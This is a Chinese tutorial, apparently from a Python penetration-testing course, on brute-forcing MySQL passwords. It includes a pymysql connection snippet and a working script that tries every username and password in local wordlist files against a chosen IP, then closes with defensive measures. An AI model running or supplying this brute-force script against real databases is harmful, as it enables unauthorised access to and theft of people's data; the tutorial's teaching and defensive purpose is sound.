什么是 MySQL 数据库
MySQL 是一种开源的关系型数据库管理系统(RDBMS)。它是目前世界上最流行的数据库之一,被广泛应用于各种类型的网站和应用程序中。MySQL 数据库爆破是一种非法和危险的黑客攻击手段。它指的是通过暴力猜测密码的方式,试图获取未授权访问 MySQL 数据库的行为。
目录：
Python 编写渗透测试基础：
（1）漏洞发现和利用走的是什么协议.
（2）编写难度是根据协议和探针利用复现复杂程度决定的.
例如：
mysql类型的漏洞复现漏洞
大部分都是在mysql里面进行python写这个漏洞利用
是不是也要用到mysql的库来进行连接 后续操作 复现一致具体来说，MySQL 数据库爆破通常包括以下步骤：
（1）收集目标 MySQL 数据库的信息,如 IP 地址、端口号、用户名等。
（2）使用自动化工具或脚本,尝试大量的常见密码组合,以猜测出正确的密码。
（3）一旦猜中密码,就可以非法登录目标数据库,窃取或篡改数据。MySQL 数据库爆破：
（1）基本知识：(连接服务端数据库.)
import pymysql # 导入模块
conn_obj = pymysql.connect( # 连接服务端数据库.
host="127.0.0.1", # MySQL 服务端的IP地址.
port=3306, # MySQL 默认 端口号.（如果不是这个端口号，则需要改）
user="root", # 用户名
password="123456", # 密码
database="mysql", # 数据库名称：默认为 MySQL
charset="utf8" # 字符编码
)
（2）进行 MySQL 数据库爆破.
import pymysql,os # 导入模块
def mysql_check(ip,username,password): # 函数的定义,这个函数接受 3 个参数:
print("check->" + ip + "|" + username + "|" + password) # 打印 爆破的过程信息.
try: # 如果连接成功.
conn_obj = pymysql.connect( # 连接服务端数据库.
host=ip, # MySQL 服务端的IP地址.
port=3306, # MySQL 默认 PORT 地址(端口号)
user=username, # 用户名
password=password, # 密码
database="mysql", # MySQL 数据库 默认为 MySQL
charset="utf8" # 字符编码
)
print("连接成功.")
exit() # 成功之后退出.
except Exception as e: # 如果连接失败
pass # 直接跳出.
if __name__ == "__main__":
ip = input ("请输入你的 IP 地址：")
for username in open ('C:\\Users\\xiaoyu\\Desktop\\python\\username_mysql.txt'): # 读取这个文件
username = username.replace("\n","") # 对于每一行,它会去掉行末的换行符 "\n"，并将其替换为空格 ""(里面不要加空格)
for password in open ("C:\\Users\\xiaoyu\\Desktop\\python\\password_mysql.txt"):
password = password.replace("\n","") # (里面不要加空格)
mysql_check(ip,username,password) # 传递了三个参数，上面对接.
以下是一些有效的MySQL数据库防御方法：
（1）设置强密码:确保数据库账号使用复杂、难猜的密码,并定期更换密码。
（2）限制访问权限:仅授予必要的用户最小权限,减少可能被利用的攻击面。
（3）开启日志记录:记录数据库的访问和操作情况,有利于事后排查和分析。
（4）及时修复漏洞:保持数据库软件和组件的最新版本,及时修复已知的安全漏洞。
（5）使用防火墙:部署网络防火墙,限制数据库服务器的对外访问。
（6）加强监控:使用安全监控工具,及时发现和阻止可疑的登录尝试。
（7）定期备份:定期备份数据库,以便在发生安全事故时能够快速恢复。
学习连接：第159天：安全开发-Python-协议库爆破&FTP&SSH&Redis&SMTP&MYSQL等_哔哩哔哩_bilibili